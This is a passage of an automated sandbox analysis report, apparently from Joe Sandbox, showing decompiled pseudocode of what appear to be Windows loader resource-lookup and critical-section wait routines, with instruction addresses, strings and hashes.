																			_t147 = E34C95D90(_t230,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t273);
																			 *(_t280 - 0x420) = _t147;
																			 *(_t280 - 0x448) = _t147;
																			if(_t147 != 0) {
																				_t274 =  *(_t280 - 0x420);
																				_t267 = E34D13592( *((intOrPtr*)(_t280 - 0x428)), _t274, _t273);
																				 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																				if(_t267 < 0) {
																					L59:
																					_t147 =  *(_t280 - 0x420);
																					goto L60;
																				} else {
																					_t232 = _t274;
																					 *(_t280 - 0x438) = _t274;
																					_t258 = 0;
																					_t275 =  *(_t280 - 0x1ca) & 0x0000ffff;
																					if(_t275 != 0) {
																						while(_t216 < _t232[0xc] || _t216 >= _t232[0x10] + _t232[0xc]) {
																							_t232 =  &(_t232[0x28]);
																							_t258 = _t258 + 1;
																							if(_t258 < _t275) {
																								continue;
																							}
																							break;
																						}
																						 *(_t280 - 0x438) = _t232;
																					}
																					if(_t258 < _t275) {
																						_t278 = _t232[0x14] - _t232[0xc] + _t216;
																						if(_t232[0x14] - _t232[0xc] + _t216 == 0) {
																							goto L58;
																						} else {
																							_t217 =  *((intOrPtr*)(_t280 - 0x428));
																							_t267 = E34D13C37(_t217, _t278);
																							 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																							if(_t267 < 0) {
																								goto L59;
																							} else {
																								if( *((intOrPtr*)(_t280 + 0xc)) != 3) {
																									L73:
																									 *((short*)(_t280 - 0x424)) = 0;
																									_t260 = _t217;
																									_t267 = E34C8E9A0(0, _t217,  *((intOrPtr*)(_t280 - 0x45c)), _t278, _t280 - 0x1d0,  *(_t280 - 0x438),  *((intOrPtr*)(_t280 - 0x440)),  *((intOrPtr*)(_t280 + 0xc)), _t280 - 0x418,  *((intOrPtr*)(_t280 - 0x450)),  *((intOrPtr*)(_t280 - 0x44c)),  *(_t280 - 0x430), _t280 - 0x424);
																									 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																									if(_t267 < 0) {
																										goto L59;
																									} else {
																										_t235 =  *((intOrPtr*)(_t280 - 0x434));
																										if(_t235 == 0) {
																											goto L59;
																										} else {
																											_t182 =  *((intOrPtr*)(_t280 - 0x424));
																											_t271 = 0;
																											if( *((intOrPtr*)(_t280 - 0x424)) != 0) {
																												 *((intOrPtr*)(_t280 - 0x468)) = _t280 - 0xc8;
																												 *((short*)(_t280 - 0x46a)) = 0xac;
																												_t267 = E34CA5A40(_t260, _t182 & 0x0000ffff, _t280 - 0x46c, 2, 0);
																												 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																												if(_t267 < 0) {
																													goto L85;
																												} else {
																													_t218 = _t280 - 0xc8;
																													_t239 = _t218 + 2;
																													do {
																														_t185 =  *_t218;
																														_t218 = _t218 + 2;
																													} while (_t185 != 0);
																													_t220 = _t218 - _t239 >> 1;
																													_t235 =  *((intOrPtr*)(_t280 - 0x434));
																													goto L81;
																												}
																											} else {
																												_t220 = 0;
																												L81:
																												 *(_t280 - 4) = _t271;
																												if(_t220 >=  *_t235) {
																													L84:
																													 *_t235 = _t220 + 1;
																													_t267 = 0xc0000023;
																													 *((intOrPtr*)(_t280 - 0x41c)) = 0xc0000023;
																													 *(_t280 - 4) = 0xfffffffe;
																													L85:
																													_t147 =  *(_t280 - 0x420);
																													goto L61;
																												} else {
																													_t187 =  *((intOrPtr*)(_t280 - 0x444));
																													if( *((intOrPtr*)(_t280 - 0x444)) == 0) {
																														goto L84;
																													} else {
																														_t279 = _t220 + _t220;
																														E34CC88C0(_t187, _t280 - 0xc8, _t279);
																														_t120 = _t220 + 1; // 0x1
																														 *((intOrPtr*)( *((intOrPtr*)(_t280 - 0x434)))) = _t120;
																														 *((short*)(_t279 +  *((intOrPtr*)(_t280 - 0x444)))) = 0;
																														 *(_t280 - 4) = 0xfffffffe;
																														goto L59;
																													}
																												}
																											}
																										}
																									}
																								} else {
																									 *((short*)(_t280 - 0x418)) = 0;
																									_t193 =  *( *((intOrPtr*)(_t280 - 0x440)) + 8) & 0x0000ffff;
																									_t243 =  *(_t280 - 0x430);
																									if(( *(_t280 - 0x430) & 0x00000020) == 0) {
																										_t267 = E34C8A2E0(0, 0, _t193, _t243, _t280 - 0x418);
																										 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
																										if(_t267 >= 0 ||  *(_t280 - 0x42c) == 0) {
																											goto L73;
																										} else {
																											goto L59;
																										}
																									} else {
																										 *((short*)(_t280 - 0x418)) = 1;
																										 *((short*)(_t280 - 0x414)) = 0;
																										goto L73;
																									}
																								}
																							}
																						}
																						goto L93;
																					} else {
																						L58:
																						_t267 = 0xc000007b;
																						 *((intOrPtr*)(_t280 - 0x41c)) = 0xc000007b;
																						goto L59;
																					}
																				}
																			} else {
																				_t267 = 0xc0000017;
																				 *((intOrPtr*)(_t280 - 0x41c)) = 0xc0000017;
																				L60:
																				_t271 = 0;
																			}
																		} else {
																			_t271 = 0;
																			goto L46;
																		}
																	} else {
																		L46:
																		_t267 = 0xc000007b;
																		 *((intOrPtr*)(_t280 - 0x41c)) = 0xc000007b;
																		_t147 = _t271;
																	}
																	L61:
																	_t213 = 0x7ffe0384;
																	goto L62;
																} else {
																	_t150 = 0xc0000089;
																}
															}
														}
													} else {
														L30:
														_t267 = 0xc0000089;
														goto L16;
													}
												} else {
													goto L15;
												}
											}
										}
									}
								} else {
									if(E34C794A3(_t269, 0xf8, _t280 - 0x448) < 0 || _t269 > 0x10000000) {
										goto L15;
									} else {
										_t204 = _t269 + 0xf8;
										if(_t204 <= _t269 || _t204 >=  *((intOrPtr*)(_t280 - 0x45c))) {
											goto L15;
										} else {
											goto L22;
										}
									}
								}
							} else {
								L15:
								_t267 = 0xc000007b;
								L16:
								 *((intOrPtr*)(_t280 - 0x41c)) = _t267;
								_t147 = _t271;
								L62:
								if(_t147 != 0) {
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t271, _t147);
									_t267 =  *((intOrPtr*)(_t280 - 0x41c));
								}
								if(E34C93C40() == 0) {
									_t149 = 0x7ffe0385;
								} else {
									_t149 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
									_t267 =  *((intOrPtr*)(_t280 - 0x41c));
								}
								if(( *_t149 & 0x00000001) != 0) {
									if(E34C93C40() != 0) {
										_t213 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
										_t267 =  *((intOrPtr*)(_t280 - 0x41c));
									}
									E34D0FC01(_t280 - 0x464,  *_t213 & 0x000000ff);
								}
								_t150 = _t267;
							}
						}
					}
				}
				L93:
				 *[fs:0x0] =  *((intOrPtr*)(_t280 - 0x10));
				return _t150;
			}

0x34d13608
0x34d1360d
0x34d13612
0x34d13617
0x34d1361d
0x34d1361f
0x34d13628
0x34d13631
0x34d1363a
0x34d13643
0x34d1364c
0x34d13654
0x34d13655
0x34d1365c
0x34d1365e
0x34d1365f
0x34d13666
0x34d13670
0x34d13672
0x34d13673
0x34d1367a
0x34d13681
0x34d1368f
0x34d13699
0x34d136a8
0x34d136ba
0x34d136aa
0x34d136b3
0x34d136b3
0x34d136c2
0x34d136f4
0x34d136c4
0x34d136c4
0x34d136c9
0x34d136d0
0x34d136e2
0x34d136d2
0x34d136db
0x34d136db
0x34d136ed
0x34d136ed
0x34d136fb
0x34d13be3
0x00000000
0x34d1370a
0x34d13715
0x34d13723
0x34d1372a
0x34d13745
0x34d1374c
0x34d1375e
0x34d13772
0x34d1377e
0x34d137b1
0x34d137c5
0x34d137cc
0x34d137dc
0x00000000
0x34d137de
0x34d137ea
0x34d13862
0x00000000
0x34d13886
0x34d1388d
0x00000000
0x34d13897
0x34d13897
0x34d138a1
0x00000000
0x34d138b5
0x34d138b5
0x00000000
0x34d138b5
0x34d138a1
0x34d1388d
0x34d137ec
0x34d137ef
0x34d137f9
0x34d13820
0x34d13832
0x00000000
0x34d13834
0x34d13834
0x34d1383e
0x00000000
0x34d1384e
0x34d1384e
0x34d138bb
0x34d138bd
0x34d138c9
0x34d138d3
0x34d138ea
0x34d138fd
0x34d1390f
0x34d13914
0x34d1391a
0x34d13922
0x34d13932
0x34d13950
0x34d13952
0x34d1395a
0x34d1399d
0x34d1399d
0x00000000
0x34d1395c
0x34d1395c
0x34d1395e
0x34d13964
0x34d13966
0x34d1396f
0x34d13971
0x34d13980
0x34d13983
0x34d13986
0x00000000
0x00000000
0x00000000
0x34d13986
0x34d13988
0x34d13988
0x34d13990
0x34d139f0
0x34d139f2
0x00000000
0x34d139f4
0x34d139f6
0x34d13a03
0x34d13a05
0x34d13a0d
0x00000000
0x34d13a0f
0x34d13a13
0x34d13a73
0x34d13a75
0x34d13ab9
0x34d13ac2
0x34d13ac4
0x34d13acc
0x00000000
0x34d13ad2
0x34d13ad2
0x34d13ada
0x00000000
0x34d13ae0
0x34d13ae0
0x34d13ae7
0x34d13aec
0x34d13af8
0x34d13b03
0x34d13b1d
0x34d13b1f
0x34d13b27
0x00000000
0x34d13b29
0x34d13b29
0x34d13b2f
0x34d13b32
0x34d13b32
0x34d13b35
0x34d13b38
0x34d13b3f
0x34d13b41
0x00000000
0x34d13b41
0x34d13aee
0x34d13aee
0x34d13b47
0x34d13b47
0x34d13b4c
0x34d13b8f
0x34d13b92
0x34d13b94
0x34d13b99
0x34d13b9f
0x34d13ba6
0x34d13ba6
0x00000000
0x34d13b4e
0x34d13b4e
0x34d13b56
0x00000000
0x34d13b58
0x34d13b58
0x34d13b64
0x34d13b6c
0x34d13b75
0x34d13b7f
0x34d13b83
0x00000000
0x34d13b83
0x34d13b56
0x34d13b4c
0x34d13aec
0x34d13ada
0x34d13a15
0x34d13a17
0x34d13a24
0x34d13a28
0x34d13a31
0x34d13a5a
0x34d13a5c
0x34d13a64
0x00000000
0x00000000
0x00000000
0x00000000
0x34d13a33
0x34d13a36
0x34d13a3f
0x00000000
0x34d13a3f
0x34d13a31
0x34d13a13
0x34d13a0d
0x00000000
0x34d13992
0x34d13992
0x34d13992
0x34d13997
0x00000000
0x34d13997
0x34d13990
0x34d13924
0x34d13924
0x34d13929
0x34d139a3
0x34d139a3
0x34d139a3
0x34d138ff
0x34d138ff
0x00000000
0x34d138ff
0x34d138d5
0x34d138d5
0x34d138d5
0x34d138da
0x34d138e0
0x34d138e0
0x34d139a5
0x34d139a5
0x00000000
0x34d138bf
0x34d138bf
0x34d138bf
0x34d138bd
0x34d1383e
0x34d13822
0x34d13822
0x34d13822
0x00000000
0x34d13822
0x00000000
0x00000000
0x00000000
0x34d137f9
0x34d137ea
0x34d137dc
0x34d13780
0x34d13795
0x00000000
0x34d1379f
0x34d1379f
0x34d137a7
0x00000000
0x00000000
0x00000000
0x00000000
0x34d137a7
0x34d13795
0x34d13760
0x34d13760
0x34d13760
0x34d13765
0x34d13765
0x34d1376b
0x34d139aa
0x34d139ac
0x34d139b9
0x34d139be
0x34d139be
0x34d139cb
0x34d13bed
0x34d139d1
0x34d139da
0x34d139df
0x34d139df
0x34d13bf5
0x34d13bfe
0x34d13c09
0x34d13c0f
0x34d13c0f
0x34d13c1e
0x34d13c1e
0x34d13c23
0x34d13c23
0x34d1375e
0x34d1374c
0x34d1372a
0x34d13c25
0x34d13c28
0x34d13c34

Strings

PE, xrefs: 34D137D2
LdrpResSearchResourceHandle Enter, xrefs: 34D13666
LdrpResSearchResourceHandle Exit, xrefs: 34D13681

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: 130ddef1e2430110d8f33847544aabf41cd21ca13ba2a61b998c53861e9a1d31
Instruction ID: 2ca7f6a944d64764568883a50c6eeb7c40a2d960d2d9092eb3e57bcf4e24c281
Opcode Fuzzy Hash: 130ddef1e2430110d8f33847544aabf41cd21ca13ba2a61b998c53861e9a1d31
Instruction Fuzzy Hash: CEF17FB5A002288FFBA1CB14EC80BD9B3B5FF44754F4480E9D949A7A41EB319E85CF59

Uniqueness

Uniqueness Score: -1.00%

Function 34CAF4D0 Relevance: 4.1, Strings: 3, Instructions: 382
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E34CAF4D0(signed int __ecx, signed char __edx, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				signed char _v72;
				signed int _v76;
				char _v80;
				void* _v84;
				char _v88;
				signed int _v92;
				intOrPtr _v96;
				void* _v100;
				signed int _v104;
				char _v108;
				signed char _v112;
				intOrPtr _v116;
				void* _v120;
				signed int _v124;
				signed int _v128;
				char _v129;
				char _v130;
				intOrPtr _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t129;
				signed int _t132;
				signed int _t134;
				signed char* _t138;
				signed char* _t139;
				signed char* _t140;
				void* _t142;
				signed int _t144;
				signed int _t145;
				void* _t152;
				void* _t153;
				signed int _t156;
				signed int _t159;
				signed int _t169;
				signed int _t172;
				signed int _t173;
				signed int _t176;
				signed int _t179;
				signed int* _t180;
				signed int _t183;
				signed int _t191;
				signed char* _t192;
				signed int _t198;
				intOrPtr _t201;
				intOrPtr _t202;
				intOrPtr _t203;
				void* _t206;
				unsigned int _t207;
				signed int _t208;
				signed int _t209;
				signed int _t210;
				intOrPtr _t218;
				intOrPtr _t220;
				signed int _t223;
				signed int _t226;
				intOrPtr _t229;
				signed int _t234;
				signed int _t235;
				signed int _t236;
				intOrPtr _t238;
				signed char _t241;
				void* _t244;
				signed int _t246;
				intOrPtr _t247;
				void* _t251;
				signed int _t252;
				signed int _t254;
				void* _t255;
				void* _t256;

				_t234 = __edx;
				_t209 = __ecx;
				_t254 = (_t252 & 0xfffffff8) - 0x84;
				_v8 =  *0x34d7b370 ^ _t254;
				_t129 =  *[fs:0x18];
				_t241 = __ecx;
				_v112 = __edx;
				_v72 = __ecx;
				_v129 = 0;
				_v64 = _t129;
				_v108 = 0;
				if(__ecx == 0x34d73390) {
					_v129 = 1;
					 *((intOrPtr*)(_t129 + 0xf84)) = 1;
				}
				if( *0x34d75da8 != 0) {
					_push(0xc000004b);
					_push(0xffffffff);
					E34CC2C70();
				}
				if( *0x34d75a84 == 0) {
					_v120 = 0x34d75a88;
				} else {
					_v120 = 0;
				}
				_t246 = _t241 + 0x10;
				if( *(_t241 + 0x10) == 0) {
					_t210 = _t209 | 0xffffffff;
					__eflags =  *0x34d74ae2;
					_v124 = _t210;
					if( *0x34d74ae2 != 0) {
						_push(0);
						_push(1);
						_push(0);
						_push(0x100003);
						_push( &_v124);
						_t132 = E34CC2E30();
						__eflags = _t132;
						if(_t132 >= 0) {
							_t211 = _v124;
						} else {
							_t211 = _t210 | 0xffffffff;
							_v124 = _t210 | 0xffffffff;
						}
					}
					asm("lock cmpxchg [esi], ecx");
					__eflags = 0;
					if(0 != 0) {
						_t198 = _v124;
						__eflags = _t198 - 0xffffffff;
						if(_t198 != 0xffffffff) {
							_push(_t198);
							E34CC2A80();
						}
					}
				}
				_t134 =  *_t241;
				if(_t134 == 0xffffffff) {
					_t134 = _t134 | 0xffffffff;
					__eflags =  *(_t241 + 0x14) & 0x01000000;
					if(( *(_t241 + 0x14) & 0x01000000) == 0) {
						_t211 = _t241;
						E34CAFCE0(_t241, _t234);
						_t134 =  *_t241;
					}
				}
				_v104 = 0;
				if(_t134 != 0xffffffff) {
					 *((intOrPtr*)(_t134 + 0x14)) =  *((intOrPtr*)(_t134 + 0x14)) + 1;
				}
				_t201 =  *_t246;
				_v68 = _t201;
				L9:
				while(1) {
					L9:
					if(E34C93C40() != 0) {
						_t138 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t138 = 0x7ffe0382;
					}
					if( *_t138 != 0) {
						_t139 =  *[fs:0x30];
						__eflags = _t139[0x240] & 0x00000002;
						if((_t139[0x240] & 0x00000002) != 0) {
							_v16 = _t241;
							_v54 = 0x1722;
							_v24 =  *(_t241 + 0x14) & 0x00ffffff;
							_v28 =  *(_t241 + 4);
							_v20 =  *((intOrPtr*)(_t241 + 0xc));
							_t191 = ( *[fs:0x30])[0x50];
							__eflags = _t191;
							if(_t191 == 0) {
								L61:
								_t192 = 0x7ffe0382;
							} else {
								__eflags =  *_t191;
								if( *_t191 == 0) {
									goto L61;
								} else {
									_t192 = ( *[fs:0x30])[0x50] + 0x228;
								}
							}
							_t211 =  &_v60;
							_push( &_v60);
							_push("true");
							_push(0x20402);
							_push( *_t192 & 0x000000ff);
							E34CC2F90();
						}
						goto L12;
						L24:
						if(_t140 < 0) {
							E34CD8AA0(_t211, _t234, _t140);
							asm("int3");
							__eflags = _t246 != 4;
							if(_t246 != 4) {
								L47:
								E34CAF946(_v132,  &_v124);
								_t152 = 0;
							} else {
								_t124 = _t241 + 4; // 0x74db85f0
								_t238 =  *_t124;
								_t153 =  *_t241;
								asm("lock cmpxchg8b [esi]");
								__eflags = _t153 -  *_t241;
								if(_t153 !=  *_t241) {
									goto L47;
								} else {
									_t126 = _t241 + 4; // 0x74db85f0
									__eflags = _t238 -  *_t126;
									if(__eflags != 0) {
										goto L47;
									} else {
										_t152 = L34CAF8A5(_v132,  &_v124, _a8, _a12);
									}
								}
							}
							return _t152;
						} else {
							if(_v129 != 0) {
								 *((intOrPtr*)(_v64 + 0xf84)) = 0;
								_t156 = ( *[fs:0x30])[0x50];
								__eflags = _t156;
								if(_t156 == 0) {
									L81:
									_t140 = 0x7ffe0384;
								} else {
									__eflags =  *_t156;
									if( *_t156 == 0) {
										goto L81;
									} else {
										_t140 = ( *[fs:0x30])[0x50] + 0x22a;
									}
								}
								__eflags =  *_t140;
								if( *_t140 != 0) {
									_t140 =  *[fs:0x30];
									__eflags = _t140[0x240] & 0x00000004;
									if((_t140[0x240] & 0x00000004) != 0) {
										_t159 = ( *[fs:0x30])[0x50];
										__eflags = _t159;
										if(_t159 == 0) {
											L87:
											_t140 = 0x7ffe0385;
										} else {
											__eflags =  *_t159;
											if( *_t159 == 0) {
												goto L87;
											} else {
												_t140 = ( *[fs:0x30])[0x50] + 0x22b;
											}
										}
										__eflags =  *_t140 & 0x00000020;
										if(( *_t140 & 0x00000020) != 0) {
											_t140 = E34D00227(0x1483, _t234, 0xffffffff, 0xffffffff, 0, 0);
										}
									}
								}
							}
							_pop(_t244);
							_pop(_t251);
							_pop(_t206);
							return L34CC4B50(_t140, _t206, _v8 ^ _t254, _t234, _t244, _t251);
						}
					}
					L12:
					if(_t201 != 0xffffffff) {
						_push(_v120);
						_push(0);
						_push(_t201);
						_t140 = E34CC29D0();
					} else {
						_t207 = _t241 + 4;
						_v76 =  &_v100 & 0xfffffffc;
						do {
							_t218 =  *[fs:0x18];
							_v100 = _t207;
							_v80 = 1;
							_v88 = 0;
							_v92 = 0;
							_v84 = 0;
							_v96 =  *((intOrPtr*)(_t218 + 0x24));
							_t208 = _v76;
							_t220 =  *((intOrPtr*)(_t218 + 0x30)) + 0x25c;
							_t169 = _t207 >> 0x00000005 & 0x0000007f;
							_v116 = _t220;
							_t235 =  *(_t220 + _t169 * 4);
							_v128 = _t220 + _t169 * 4;
							while(1) {
								_t172 = _t235 & 0xfffffffc;
								_t223 = _t235 & 0x00000003 | _t208;
								_v92 = _t172;
								if(_t172 != 0) {
									_v84 = 0;
									_t223 = _t223 | 0x00000002;
								} else {
									_v84 =  &_v100;
								}
								_t246 = _t223;
								_t173 = _t235;
								asm("lock cmpxchg [edi], esi");
								if(_t173 == _t235) {
									break;
								}
								_t235 = _t173;
							}
							_t241 = _v72;
							_t207 = _t241 + 4;
							if(((_t223 ^ _t235) & 0x00000002) != 0) {
								_t246 = _v128;
								_t236 =  *_t246;
								while(1) {
									_t226 = _t236 & 0xfffffffc;
									__eflags =  *(_t226 + 0x10);
									_v128 = _t226 + 0x10;
									if( *(_t226 + 0x10) == 0) {
										goto L31;
									}
									do {
										L31:
										_t183 = _t226;
										_t226 =  *(_t226 + 8);
										 *(_t226 + 0xc) = _t183;
										__eflags =  *(_t226 + 0x10);
									} while ( *(_t226 + 0x10) == 0);
									L32:
									 *_v128 =  *(_t226 + 0x10);
									__eflags = _t236 & 0x00000001;
									if((_t236 & 0x00000001) != 0) {
										_v130 = 1;
									} else {
										_v130 = 0;
										__eflags = _t236 & 0xfffffffc;
									}
									_t176 = _t236;
									asm("lock cmpxchg [esi], ecx");
									__eflags = _t176 - _t236;
									if(_t176 != _t236) {
										_t236 = _t176;
										_t226 = _t236 & 0xfffffffc;
										__eflags =  *(_t226 + 0x10);
										_v128 = _t226 + 0x10;
										if( *(_t226 + 0x10) == 0) {
											goto L31;
										}
										goto L32;
									}
									__eflags = _v130;
									if(_v130 != 0) {
										_t179 = _t176 & 0xfffffffc;
										__eflags = _t179;
										_v128 = _t179;
										if(_t179 != 0) {
											do {
												_t246 =  *(_t179 + 8);
												_t180 = _t179 + 0x14;
												 *_t180 = 2;
												__eflags =  *_t180;
												if( *_t180 == 0) {
													_push( *((intOrPtr*)(_v128 + 4)));
													E34CC30B0();
												}
												_t179 = _t246;
												_v128 = _t179;
												__eflags = _t246;
											} while (_t246 != 0);
										}
									}
									goto L19;
								}
							}
							L19:
							_t234 =  &_v100;
							_t229 = _v116;
							if( *_t207 != _v112) {
								E34CAF946(_t229, _t234);
								_t140 = 0;
							} else {
								_t140 = L34CAF8A5(_t229, _t234, _v120, 0);
							}
							if(_t140 == 0x102) {
								L70:
								_t202 = _v108;
								_t247 =  *[fs:0x18];
								_push(_t202);
								_t142 = E34CC6310( *_v120,  *((intOrPtr*)(_v120 + 4)), 0xff676980, 0xffffffff);
								_push(_t234);
								E34D0EF10(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t142);
								_t144 =  *_t241;
								_t255 = _t254 + 0x18;
								__eflags = _t144 - 0xffffffff;
								if(_t144 == 0xffffffff) {
									_t145 = 0;
									__eflags = 0;
								} else {
									_t145 =  *((intOrPtr*)(_t144 + 0x14));
								}
								_push(_t145);
								_push(_t241);
								_push( *((intOrPtr*)(_t241 + 0xc)));
								_push( *((intOrPtr*)(_t247 + 0x24)));
								E34D0EF10(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t247 + 0x20)));
								_t256 = _t255 + 0x20;
								_t203 = _t202 + 1;
								_t211 = _t241;
								_v108 = _t203;
								_t246 = E34D1A9AE(_t241);
								__eflags = _t203 - 2;
								if(_t203 > 2) {
									__eflags = _t241 - 0x34d73390;
									if(_t241 != 0x34d73390) {
										__eflags = _t246 - _v104;
										if(_t246 == _v104) {
											L34D1AB5E(_t211);
										}
									}
								}
								_push("RTL: Re-Waiting\n");
								_push(0);
								_push(0x65);
								_v104 = _t246;
								E34D0EF10();
								_t201 = _v68;
								_t254 = _t256 + 0xc;
								goto L9;
							} else {
								goto L22;
							}
							goto L23;
							L22:
							_t211 =  *_t207;
							_v112 = _t211;
						} while ((_t211 & 0x00000002) != 0);
					}
					L23:
					if(_t140 == 0x102) {
						goto L70;
					}
					goto L24;
				}
			}

0x34caf4d0
0x34caf4d0
0x34caf4d8
0x34caf4e5
0x34caf4ec
0x34caf4f5
0x34caf4f7
0x34caf4fb
0x34caf4ff
0x34caf504
0x34caf508
0x34caf516
0x34ceff46
0x34ceff4b
0x34ceff4b
0x34caf523
0x34ceff5a
0x34ceff5f
0x34ceff61
0x34ceff61
0x34caf530
0x34ceff6b
0x34caf536
0x34caf536
0x34caf536
0x34caf542
0x34caf545
0x34caf722
0x34caf725
0x34caf72c
0x34caf730
0x34ceff78
0x34ceff7a
0x34ceff7c
0x34ceff7e
0x34ceff87
0x34ceff88
0x34ceff8d
0x34ceff8f
0x34ceff9d
0x34ceff91
0x34ceff91
0x34ceff94
0x34ceff94
0x34ceff8f
0x34caf738
0x34caf73c
0x34caf73e
0x34ceffa6
0x34ceffaa
0x34ceffad
0x34ceffb3
0x34ceffb4
0x34ceffb4
0x34ceffad
0x34caf73e
0x34caf54b
0x34caf550
0x34caf749
0x34caf74c
0x34caf753
0x34caf759
0x34caf75b
0x34caf760
0x34caf760
0x34caf753
0x34caf556
0x34caf561
0x34caf563
0x34caf563
0x34caf566
0x34caf568
0x00000000
0x34caf570
0x34caf570
0x34caf577
0x34ceffc7
0x34caf57d
0x34caf57d
0x34caf57d
0x34caf585
0x34ceffd1
0x34ceffd7
0x34ceffde
0x34ceffe9
0x34cefff0
0x34cefffd
0x34cf0004
0x34cf000b
0x34cf0018
0x34cf001b
0x34cf001d
0x34cf0034
0x34cf0034
0x34cf001f
0x34cf001f
0x34cf0022
0x00000000
0x34cf0024
0x34cf002d
0x34cf002d
0x34cf0022
0x34cf003c
0x34cf0040
0x34cf0041
0x34cf0043
0x34cf0048
0x34cf0049
0x34cf0049
0x00000000
0x34caf682
0x34caf684
0x34cf01e2
0x34cf01e7
0x34cf01e8
0x34cf01eb
0x34caf825
0x34caf82d
0x34caf832
0x34cf01f1
0x34cf01f1
0x34cf01f4
0x34cf01f6
0x34cf01ff
0x34cf0203
0x34cf0205
0x00000000
0x34cf020b
0x34cf020b
0x34cf020b
0x34caf807
0x00000000
0x34caf809
0x34caf817
0x34caf817
0x34caf807
0x34cf0205
0x34caf822
0x34caf68a
0x34caf68f
0x34cf014a
0x34cf015a
0x34cf015d
0x34cf015f
0x34cf0176
0x34cf0176
0x34cf0161
0x34cf0161
0x34cf0164
0x00000000
0x34cf0166
0x34cf016f
0x34cf016f
0x34cf0164
0x34cf017b
0x34cf017e
0x34cf0184
0x34cf018a
0x34cf0191
0x34cf019d
0x34cf01a0
0x34cf01a2
0x34cf01b9
0x34cf01b9
0x34cf01a4
0x34cf01a4
0x34cf01a7
0x00000000
0x34cf01a9
0x34cf01b2
0x34cf01b2
0x34cf01a7
0x34cf01be
0x34cf01c1
0x34cf01d7
0x34cf01d7
0x34cf01c1
0x34cf0191
0x34cf017e
0x34caf69c
0x34caf69d
0x34caf69e
0x34caf6a9
0x34caf6a9
0x34caf684
0x34caf58b
0x34caf58e
0x34cf0093
0x34cf0097
0x34cf0099
0x34cf009a
0x34caf594
0x34caf59b
0x34caf59e
0x34caf5a2
0x34caf5a2
0x34caf5a9
0x34caf5ad
0x34caf5b5
0x34caf5bd
0x34caf5c5
0x34caf5d0
0x34caf5d9
0x34caf5dd
0x34caf5e6
0x34caf5e9
0x34caf5ed
0x34caf5f3
0x34caf600
0x34caf607
0x34caf60a
0x34caf60c
0x34caf612
0x34caf6b3
0x34caf6bb
0x34caf618
0x34caf61c
0x34caf61c
0x34caf620
0x34caf622
0x34caf624
0x34caf62a
0x00000000
0x00000000
0x34cf0053
0x34cf0053
0x34caf630
0x34caf636
0x34caf63c
0x34caf6c3
0x34caf6c7
0x34caf6d0
0x34caf6d2
0x34caf6d5
0x34caf6dc
0x34caf6e0
0x00000000
0x00000000
0x34caf6e2
0x34caf6e2
0x34caf6e2
0x34caf6e4
0x34caf6e7
0x34caf6ea
0x34caf6ea
0x34caf6f0
0x34caf6f7
0x34caf6f9
0x34caf6fc
0x34caf767
0x34caf6fe
0x34caf700
0x34caf705
0x34caf705
0x34caf708
0x34caf70a
0x34caf70e
0x34caf710
0x34caf770
0x34caf6d2
0x34caf6d5
0x34caf6dc
0x34caf6e0
0x00000000
0x00000000
0x00000000
0x34caf6e0
0x34caf712
0x34caf717
0x34cf005a
0x34cf005a
0x34cf005d
0x34cf0061
0x34cf0067
0x34cf0067
0x34cf006f
0x34cf0072
0x34cf0074
0x34cf0076
0x34cf007c
0x34cf007f
0x34cf007f
0x34cf0084
0x34cf0086
0x34cf008a
0x34cf008a
0x34cf008e
0x34cf0061
0x00000000
0x34caf717
0x34caf6d0
0x34caf642
0x34caf644
0x34caf648
0x34caf650
0x34caf6aa
0x34caf6af
0x34caf652
0x34caf658
0x34caf658
0x34caf662
0x34cf00a4
0x34cf00a4
0x34cf00ac
0x34cf00b3
0x34cf00c0
0x34cf00c5
0x34cf00d0
0x34cf00d5
0x34cf00d7
0x34cf00da
0x34cf00dd
0x34cf00e4
0x34cf00e4
0x34cf00df
0x34cf00df
0x34cf00df
0x34cf00e6
0x34cf00e7
0x34cf00e8
0x34cf00eb
0x34cf00fa
0x34cf00ff
0x34cf0102
0x34cf0103
0x34cf0105
0x34cf010e
0x34cf0110
0x34cf0113
0x34cf0115
0x34cf011b
0x34cf011d
0x34cf0121
0x34cf0123
0x34cf0123
0x34cf0121
0x34cf011b
0x34cf0128
0x34cf012d
0x34cf012f
0x34cf0131
0x34cf0135
0x34cf013a
0x34cf013e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x34caf668
0x34caf668
0x34caf66a
0x34caf66e
0x34caf5a2
0x34caf677
0x34caf67c
0x00000000
0x00000000
0x00000000
0x34caf67c

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 34CF00F1
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 34CF00C7
RTL: Re-Waiting, xrefs: 34CF0128

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

